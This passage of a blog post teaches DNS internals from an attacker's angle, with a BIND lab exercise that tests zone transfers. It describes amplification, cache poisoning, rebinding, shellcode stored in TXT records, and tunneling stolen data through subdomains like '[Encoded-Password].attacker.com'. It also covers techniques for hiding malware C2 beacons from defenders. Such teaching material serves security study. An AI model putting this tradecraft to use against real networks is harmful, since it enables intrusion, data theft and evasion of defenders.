Records.”</strong> This happens when a company stops using a nameserver but forgets to tell the TLD. We can sometimes “claim” that old nameserver and take over the entire domain without ever touching the victim’s actual servers.</li></ul><p><strong>4. Authoritative Name Server (The Source of Truth)</strong></p><p>This is the final stop. This server belongs to the company and holds the master list of all their secret IPs (the “Zone File”).</p><ul><li><strong>Red Team Insight (The Zone Transfer / AXFR):</strong> This is the “Holy Grail” of reconnaissance. If this server is misconfigured, we can ask for a <strong>Zone Transfer</strong>. It will literally hand us a complete map of the company’s internal network — showing us exactly where the “HR-Server,” “CEO-Laptop,” and “Backup-Database” are located.</li></ul><h3><strong>The Core Components</strong></h3><p>To “break” DNS, you first have to understand the four gears that keep it turning. In a Red Team operation, we don’t just look at these as features — we look at them as <strong>leverage points</strong>.</p><p><strong>1. The DNS Cache (The Memory)</strong></p><p>Your computer and your ISP don’t want to ask the same questions over and over, so they store “shortcuts” in a local cache.</p><ul><li><strong>The TTL (Time to Live) Trick:</strong> Every DNS record has a “timer” called a TTL. It tells the cache how long to remember the answer.</li><li><strong>Red Team Insight:</strong> If we successfully poison a DNS record, we set a <strong>massive TTL</strong>. This “pins” our malicious IP into the victim’s memory, ensuring they keep coming back to our server for days, even if the original vulnerability is fixed.</li></ul><p><strong>2. Recursive vs. Iterative Queries (The Workhorse)</strong></p><ul><li><strong>Recursive:</strong> The client says, <em>“Find this for me and don’t come back until you have the final answer.”</em> (The server does all the work).</li><li><strong>Iterative:</strong> The server says, <em>“I don’t know the answer, but here is the address of someone who might.”</em> (The client does the work).</li><li><strong>Red Team Insight (The Amplification Attack):</strong> We love servers that allow <strong>Open Recursion</strong>. We can send a tiny 60-byte question and trick the server into sending a massive 4000-byte answer to a victim’s IP. By doing this thousands of times, we “amplify” our power to knock a target offline using their own infrastructure.</li></ul><p><strong>3. The Name Space (The Map)</strong></p><p>This is the total “address book” of every domain on the planet.</p><ul><li><strong>Red Team Insight (DGA — The Phantom Domains):</strong> To stay hidden, we use <strong>Domain Generation Algorithms</strong>. Instead of using one domain like evil-hacker.com (which is easy to block), our malware generates 1,000 random domains a day (like x7z91.biz). Since we know the math behind the &quot;randomness,&quot; we only have to register one of them to maintain control. It’s like a spy changing their burner phone every hour.</li></ul><p><strong>4. Resolvers &amp; Name Servers (The Librarians)</strong></p><ul><li><strong>The Resolver:</strong> Your PC or local router.</li><li><strong>The Name Server:</strong> The computer that holds the actual database.</li><li><strong>Red Team Insight:</strong> We use tools like <strong>dig +trace</strong> to follow the &quot;crumbs&quot; from the Resolver all the way to the Authoritative Name Server. This allows us to spot exactly where the security is weakest and which server is most likely to &quot;leak&quot; private information.</li></ul><h3>4. Zone Files and Resource Records</h3><p>Every DNS zone has a <strong>Zone File</strong> (a database). These files contain <strong>Resource Records</strong>, which follow a standard format: Owner TTL Class Type RDATA.</p><h3>Common Record Types</h3><ul><li><strong>A:</strong> Maps a domain to an <strong>IPv4</strong> address.</li><li><strong>AAAA:</strong> Maps a domain to an <strong>IPv6</strong> address.</li><li><strong>CNAME (Canonical Name):</strong> Maps one domain to another (an alias).</li><li><strong>MX (Mail Exchanger):</strong> Directs email to the correct mail server. Includes a priority flag.</li><li><strong>TXT:</strong> Stores text-based data (often used for SPF email security or domain verification).</li><li><strong>PTR (Pointer):</strong> The reverse of an A record; maps an IP to a hostname.</li><li><strong>SOA (Start of Authority):</strong> The mandatory first record in a zone file; contains admin details and timers.</li></ul><p><strong>The “Big Five” Records (And How We Weaponize Them)</strong></p><p><strong>1. A &amp; AAAA Records (The Identity)</strong></p><p>These map names to IPs (IPv4 and IPv6).</p><ul><li><strong>Red Team Tradecraft (Fast Fluxing):</strong> To stay ahead of the “law,” we use Fast Fluxing. We constantly rotate the IP address of our malicious domain — sometimes every 60 seconds. By the time a defender blocks our IP, we’ve already moved to a new one. It’s like a getaway car that changes its license plate every block.</li></ul><p><strong>2. CNAME Records (The Alias)</strong></p><p>These point one domain name to another (e.g., ://company.com points to ://webhost.com).</p><ul><li><strong>The Attack (Subdomain Takeover):</strong> This is a huge win. If a company deletes their account with a provider (like AWS or Zendesk) but forgets to remove the CNAME record, we can “claim” that empty spot. Now, a perfectly trusted URL like ://company.com leads directly to our malicious site.</li></ul><p><strong>3. MX Records (The Mailman)</strong></p><p>These tell the world which server handles the company’s email.</p><ul><li><strong>Recon Insight:</strong> This tells us exactly who hosts their email. If we see “Microsoft Office 365,” we know we need to bypass Outlook’s specific spam filters. If we see an “On-Premises Exchange” server, we know it might be vulnerable to older, unpatched exploits.</li></ul><p><strong>4. TXT Records (The Secret Note)</strong></p><p>These are meant for short text notes, often used for security verification.</p><ul><li><strong>Weaponization (Fileless Malware):</strong> TXT records are a Red Teamer’s best friend. We can “hide” pieces of malicious code (shellcode) inside them. Instead of downloading a suspicious .exe file, our malware simply asks the DNS server for a TXT record, reads the &quot;text,&quot; and executes it directly in the computer&#39;s memory. <strong>Nothing ever touches the hard drive.</strong></li></ul><p><strong>5. PTR Records (The Reverse Lookup)</strong></p><p>These do the opposite of an A record: they turn an IP address back into a name.</p><ul><li><strong>Internal Mapping:</strong> Once we are inside a network, we use PTR records to “name” the anonymous IPs we find. If 10.0.0.5 resolves to SECURE-BACKUP-SRV, we know exactly where the most valuable data is hidden.</li></ul><p><strong>The “Start of Authority” (SOA)</strong></p><p>The <strong>SOA</strong> is the mandatory first record in any zone.</p><p><strong>Red Team Tip:</strong></p><ul><li>Look closely at the timers and the admin email address in the SOA. If the “Serial Number” hasn’t changed in months, the sysadmins are likely inactive or lazy — meaning the network is probably full of unpatched holes.</li><li>Always check for <strong>“HINFO”</strong> or <strong>“RP”</strong> (Responsible Person) records. They are rare today but can sometimes leak hardware/OS details or direct email addresses of the sysadmins.</li></ul><h3>5. Packet Analysis &amp; Protocols</h3><p>DNS primarily uses <strong>UDP Port 53</strong> for speed. However, it uses <strong>TCP Port 53</strong> for <strong>Zone Transfers</strong> (copying a full DNS database).</p><ul><li><strong>Standard Query:</strong> Sent by the client to ask for a record.</li><li><strong>Standard Query Response:</strong> Sent by the server with the answer.</li></ul><p>Understanding the wire protocol is the difference between a script kiddie and a professional operator.</p><p><strong>1. UDP Port 53: The Speed Demon</strong></p><p>Most DNS queries happen over UDP because it’s fast and doesn’t require a “handshake.” It just throws the question and waits for an answer.</p><ul><li><strong>The Vulnerability (Spoofing):</strong> Because UDP doesn’t verify who is asking the question, it is the primary engine for <strong>DNS Amplification Attacks</strong>.</li><li><strong>Red Team Insight:</strong> We can send a tiny query while “spoofing” (faking) the victim’s IP address. The DNS server then sends a massive, data-heavy response directly to the victim. By using a network of “Open Resolvers,” we can turn a small trickle of traffic into a digital tidal wave that knocks a company offline.</li></ul><p><strong>2. TCP Port 53: The “Big Data” Pipe</strong></p><p>When a DNS answer is too large (over 512 bytes), it switches to TCP. It’s also used for <strong>Zone Transfers (AXFR)</strong>.</p><ul><li><strong>The “Jackpot” (AXFR):</strong> In a perfect world, only “friendly” DNS servers should be allowed to copy the full database. If a server is misconfigured to allow <strong>anyone</strong> to request a Zone Transfer, we can download the entire company map in seconds.</li><li><strong>Red Team Mission:</strong> This is the first thing we check. Getting the Zone File is like the victim handing us the blueprints to their house, showing us exactly where the “Safe,” the “Back Door,” and the “Cameras” are located.</li></ul><p><strong>3. DNS over HTTPS (DoH): The Ultimate Disguise</strong></p><p>Traditional DNS is sent in “Plain Text,” meaning anyone watching the network (like a firewall) can see exactly what you are looking for.</p><ul><li><strong>The Evasion (Encryption):</strong> Modern Red Teamers use <strong>DoH</strong>. We wrap our malicious DNS queries inside encrypted HTTPS traffic (Port 443).</li><li><strong>The Impact:</strong> To a security guard (the Firewall), it looks like someone is just browsing a normal website. In reality, our malware is talking to its “Mothership” (C2 server) through an encrypted tunnel that the firewall isn’t allowed to open.</li></ul><h3>6. Security, Vulnerabilities, and Abuse</h3><p>Because DNS was designed for speed and is based on unauthenticated UDP, it is inherently insecure.</p><h3>Major Vulnerabilities</h3><ul><li><strong>DNS Spoofing/Poisoning:</strong> Sending a fake response to a resolver so it caches a malicious IP.</li><li><strong>DoS (Denial of Service):</strong> Crashing a DNS server to take an entire organization or ISP offline.</li><li><strong>Zone Transfers:</strong> If misconfigured, an attacker can download the entire mapping of a company’s internal network.</li><li><strong>DNS Hijacking:</strong> Changing DNS settings at the registrar level to redirect all mail and web traffic (as seen in Iranian state-sponsored attacks).</li></ul><h3>The Defense: DNSSEC</h3><p><strong>DNS Security Extensions (DNSSEC)</strong> adds digital signatures to records.</p><ol><li><strong>Origin Verification:</strong> Confirms the data came from the legitimate zone.</li><li><strong>Integrity:</strong> Ensures data wasn’t altered in transit.</li></ol><p>DNS is the “Achilles’ heel” of the internet. Because it was built for speed in an era of trust, it lacks built-in encryption and authentication by default. For a Red Teamer, this section is about <strong>intercepting the flow of truth.</strong></p><p><strong>Advanced Adversarial Tactics</strong></p><p><strong>1. DNS Cache Poisoning (The “Kaminsky” Attack)</strong></p><ul><li><strong>The Mechanic:</strong> We flood a resolver with fake answers, guessing the “Transaction ID” (the secret code that matches a question to an answer). If our “lie” arrives a millisecond before the truth, the resolver memorizes it.</li><li><strong>Red Team Impact:</strong> You can redirect an entire global corporation’s traffic to your phishing portal. It’s not just one user; it’s <strong>everybody</strong> on that network.</li></ul><p><strong>2. DNS Rebinding (The “Trojan Horse” Browser)</strong></p><ul><li><strong>The Mechanic:</strong> We lure a user to our “innocent” website. We set a tiny TTL (1 second). The first time the browser checks, it sees our IP. The second time, we “rebind” the domain to an <strong>internal IP</strong> (like the company’s private database).</li><li><strong>Red Team Impact:</strong> The browser thinks it’s still talking to us, so it stays “inside the sandbox.” In reality, we are using the victim’s own browser to launch attacks against their private internal servers that are usually hidden from the internet.</li></ul><p><strong>3. DNS Tunneling (The Stealth Exit)</strong></p><ul><li><strong>The Mechanic:</strong> Almost every firewall allows DNS traffic (Port 53) to leave the building. We “hide” stolen data inside subdomains. For example: [Encoded-Password].attacker.com.</li><li><strong>Red Team Tooling:</strong> Using tools like <strong>dnscat2</strong>, we can turn these slow DNS requests into a full-blown “command center” shell. It’s slow, but it’s nearly impossible to stop without cutting off the internet entirely.</li></ul><p><strong>4. DNS Hijacking vs. Spoofing</strong></p><ul><li><strong>Hijacking:</strong> You steal the login to the company’s domain registrar (like GoDaddy) and change the “Master Switch.” This is a high-level administrative heist.</li><li><strong>Spoofing:</strong> You trick the packets while they are flying through the air. This is a technical “Man-in-the-Middle” attack.</li></ul><p><strong>The Defense: DNSSEC (And the “Catch”)</strong></p><p><strong>DNSSEC</strong> was created to add “Digital Signatures” to DNS, ensuring that the answer hasn’t been messed with. It’s like a wax seal on a letter.</p><ul><li><strong>The Red Team “Catch” (NSEC Walking):</strong> Ironically, DNSSEC makes our job easier during reconnaissance. Because it needs to prove a subdomain <em>doesn’t</em> exist, it inadvertently reveals the ones that <em>do</em>. Using <strong>ldns-walk</strong>, we can &quot;walk&quot; through these records and list every secret internal server the company has without ever having to guess.</li><li><strong>The Encryption Gap:</strong> DNSSEC proves the data is <strong>authentic</strong>, but it doesn’t <strong>hide</strong> it. Anyone watching the network can still see exactly what secret servers you are looking for unless the company also uses <strong>DoH</strong> (DNS over HTTPS).</li></ul><p><strong>The Red Team “Catch”:</strong></p><ul><li><strong>NSEC Walking:</strong> Ironically, DNSSEC makes reconnaissance easier. Using tools like ldns-walk, an attacker can &quot;walk&quot; the NSEC records to find every single valid subdomain in a zone without ever guessing or brute-forcing.</li><li><strong>No Encryption:</strong> DNSSEC signs data but <strong>does not encrypt it.</strong> Your queries are still visible to anyone sniffing the wire unless you use <strong>DoH (DNS over HTTPS)</strong>.</li><li>When facing DNSSEC, look for “downgrade attacks.” If you can force a resolver to ignore DNSSEC validation (often due to misconfiguration), the security is bypassed entirely.</li></ul><h3>7. Practical: Building a BIND DNS Server</h3><p>For a Red Teamer, building a BIND server isn’t just about learning Linux administration — it’s about understanding the <strong>misconfigurations</strong> you will exploit in the field. BIND is the most widely used DNS software, and its default settings are often a goldmine for attackers.</p><p><strong>Phase 1: Installation &amp; Hardening (The Foundation)</strong></p><p>bash</p><pre>sudo apt-get update &amp;&amp; sudo apt-get install bind9 bind9utils bind9-doc</pre><p>Use code with caution.</p><ul><li><strong>Red Team Detail:</strong> Always check the version (named -v). Old versions of BIND are vulnerable to <strong>Remote Code Execution (RCE)</strong> and <strong>Denial of Service (DoS)</strong>.</li></ul><p><strong>Phase 2: Configuration (Where the Vulnerabilities Live)</strong></p><p><strong>1. </strong><strong>named.conf.options (The Gateway)</strong><br>This file defines global settings.</p><ul><li><strong>Acl “trusted”:</strong> Define which IPs can query the server.</li><li><strong>Allow-recursion:</strong> <strong>CRITICAL.</strong> If set to any;, your server can be used in a <strong>DNS Amplification Attack</strong>.</li><li><strong>Forwarders:</strong> Usually set to 8.8.8.8 or 1.1.1.1.</li></ul><p><strong>2. </strong><strong>named.conf.local (Defining the Target)</strong><br>Here you define your Forward and Reverse zones.</p><ul><li><strong>Red Team Vulnerability:</strong> Look for allow-transfer { any; };. This is the <strong>Zone Transfer (AXFR)</strong> misconfiguration. It allows <em>anyone</em> to download your entire network map.</li></ul><p><strong>3. Zone Files (The Payload)</strong></p><ul><li><strong>Forward Zone (</strong><strong>://target.com):</strong> Contains your A, MX, and TXT records.</li><li><em>Attacker Tip:</em> Use TXT records to store encoded payloads for your scripts to pull down later.</li><li><strong>Reverse Zone (</strong><strong>db.192.168.1):</strong> Contains PTR records.</li><li><em>Attacker Tip:</em> If you land on a box, use the reverse zone to find the hostname of every IP in the subnet.</li></ul><p><strong>Phase 3: Verification &amp; Weaponized Tools</strong></p><p>While nslookup is standard, Red Teamers prefer dig for its detailed output and scriptability.</p><pre>The Command              Administrative/Security Goal<br>dig axfr @[IP] [Domain]  Zone Audit: Test if the server is improperly allowing full zone transfers.<br>dig txt [Domain] +short  Record Review: Quickly inspect TXT records for verification or anomalies.<br>dig -x [IP]              Reverse Lookup: Identify the hostname associated with a specific IP.<br>dig +trace [Domain]      Path Analysis: Follow the delegation path from root servers to the authoritative source.</pre><ol><li>Set up your BIND server.</li><li>In named.conf.local, set allow-transfer { any; };.</li><li>From a second machine (your “Attacker” box), run:<br>dig axfr @[Your-Server-IP] [Your-Domain-Name]</li><li><strong>The Result:</strong> You will see every record in the zone file. In a real engagement, this replaces hours of manual scanning.</li></ol><p>Summary: The Red Team Mindset</p><p>DNS is the “silent operator” of the network. It is:</p><ol><li><strong>A Map:</strong> (Via AXFR and Subdomain Enumeration).</li><li><strong>A Door:</strong> (Via DNS Rebinding).</li><li><strong>A Tunnel:</strong> (Via TXT records and Port 53 Exfiltration).</li></ol><p>By mastering BIND, you don’t just learn how to navigate the internet — you learn how to <strong>rewrite its rules.</strong></p><h3>Summary</h3><p>DNS is the “silent operator” of the internet. By understanding its hierarchical nature and its reliance on unauthenticated protocols, you can effectively defend against spoofing attacks — or, as a Red Teamer, use it for deep network reconnaissance.</p><p><strong>Exercises</strong></p><ul><li>Open /etc/hosts and map a fake domain to a local IP to see the &quot;precedence&quot; in action.</li><li>Build your own BIND server and use dig to verify your zone records.</li><li>Scan the CVE database for “BIND9” to identify the most recent DoS vulnerabilities.</li></ul><h3>BONUS — PETITE</h3><h3>8. Detection Evasion: The Art of Staying “Low and Slow”</h3><p>Defenders use machine learning and behavioral analytics to spot DNS anomalies. To bypass them, Red Teamers use these advanced tradecraft techniques:</p><p><strong>Advanced Evasion Tradecraft</strong></p><p><strong>1. Jitter and Randomized Heartbeats (Breaking the Rhythm)</strong></p><ul><li>Security tools look for <strong>“Beacons”</strong> — infected computers that check in with their “Mothership” (C2 server) at perfect intervals (e.g., exactly every 60 seconds).</li><li><strong>The Counter-Move:</strong> We add <strong>“Jitter.”</strong> Instead of exactly 60 seconds, we tell the malware to wait 48 seconds, then 71, then 55.</li><li><strong>Layman Explanation:</strong> It’s the difference between a ticking clock and a person tapping their foot. By adding a random 20% variance, we make automated traffic look like a human browsing the web.</li></ul><p><strong>2. Entropy Reduction (Looking Normal)</strong></p><p>Firewalls often flag subdomains with “High Entropy.” This is just a fancy way of saying “random-looking strings” like x92jz.attacker.com.</p><ul><li><strong>The Counter-Move:</strong> We use <strong>Wordlist-based subdomains</strong>. We name our C2 channels things like ://internal-services.com.</li><li><strong>Layman Explanation:</strong> To a firewall, a string of random gibberish looks like a virus; a subdomain that uses real words like “updates” looks like a boring, legitimate service.</li></ul><p><strong>3. Minimalist Heartbeats (The Long Game)</strong></p><p>Many hackers get caught because they are in a rush.</p><ul><li><strong>The Counter-Move:</strong> We use <strong>“Low and Slow”</strong> check-ins. Our malware might only “call home” once an hour or even once a day.</li><li><strong>Layman Explanation:</strong> If a spy calls their handler 1,000 times a day, they get caught. If they only leave one secret note a week, they stay invisible for years.</li></ul><p><strong>4. Staged Activation (Aging the Domain)</strong></p><p>Most security systems automatically block <strong>“Newly Observed Domains” (NODs)</strong> — websites that were registered just a few hours ago.</p><ul><li><strong>The Counter-Move:</strong> We register thousands of domains months or even years before an attack and let them sit <strong>“dormant.”</strong></li><li><strong>Layman Explanation:</strong> We let our domains “age” like a fine wine. By the time we use them for an attack, they look like established, “trustworthy” websites to security filters.</li></ul><p><strong>5. DNS-over-HTTPS (DoH): The Ultimate Cloak</strong></p><ul><li><strong>The Counter-Move:</strong> As we discussed before, we wrap our DNS questions in <strong>Standard HTTPS (Port 443)</strong>.</li><li><strong>Layman Explanation:</strong> Since almost all web traffic is encrypted nowadays, firewalls aren’t allowed to “peek” inside the envelope. We can sneak our DNS commands out right past the guard’s nose.</li></ul><h3>9. Red Team DNS Toolkit: The Cheat Sheet</h3><p>These are the essential tools for every phase of a DNS-focused operation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*urrBGiB-U9sbOBVGPsFzvg.png" /></figure><p>That’s all for now :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f7035ca15543" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>